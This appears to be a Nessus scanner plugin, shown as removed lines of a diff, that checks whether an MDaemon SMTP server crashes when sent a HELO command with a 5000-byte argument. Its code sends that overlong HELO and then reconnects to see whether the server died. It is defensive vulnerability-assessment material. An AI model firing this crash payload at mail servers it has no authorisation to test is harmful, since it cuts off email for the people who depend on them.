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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10136);
- script_bugtraq_id(8555, 8621, 8622);
- script_version ("$Revision: 1.17 $");
- script_cve_id("CAN-1999-0284");
- name["english"] = "MDaemon crash";
- name["francais"] = "Plantage de MDaemon";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "It was possible to crash the
- remote SMTP server by sending a too long
- argument to the HELO command.
-
- This problem allows an attacker to make your
- SMTP server crash, thus preventing you
- from sending or receiving e-mails, which
- will affect your work.
-
- Solution : contact your vendor for a fix.
-
- Risk factor : High";
-
-
- desc["francais"] = "Il s'est avΘrΘ possible de faire
- planter le serveur SMTP distant en envoyant
- un argument trop long α la commande HELO.
-
- Ce problΦme permet α des pirates de faire
- planter votre serveur SMTP, vous empechant
- ainsi d'envoyer et de recevoir des emails,
- ce qui affectera votre travail.
-
- Solution : contactez votre vendeur pour un patch.
-
- Facteur de risque : SΘrieux";
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Crashes the remote MTA";
- summary["francais"] = "Fait planter le MTA distant";
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_DENIAL);
-
-
- script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
- francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
- family["english"] = "Denial of Service";
- family["francais"] = "DΘni de service";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "sendmail_expn.nasl");
- script_exclude_keys("SMTP/wrapped");
- script_require_ports("Services/smtp", 25);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- include("smtp_func.inc");
-
- port = get_kb_item("Services/smtp");
- if(!port)port = 25;
- if(get_port_state(port))
- {
- soc = open_sock_tcp(port);
- if(soc)
- {
- d = smtp_recv_banner(socket:soc);
- s = string("HELO ", crap(5000), "\r\n");
- send(socket:soc, data:s);
- close(soc);
-
- soc2 = open_sock_tcp(port);
- if(!soc2)security_hole(port);
- else close(soc2);
- }
- }
-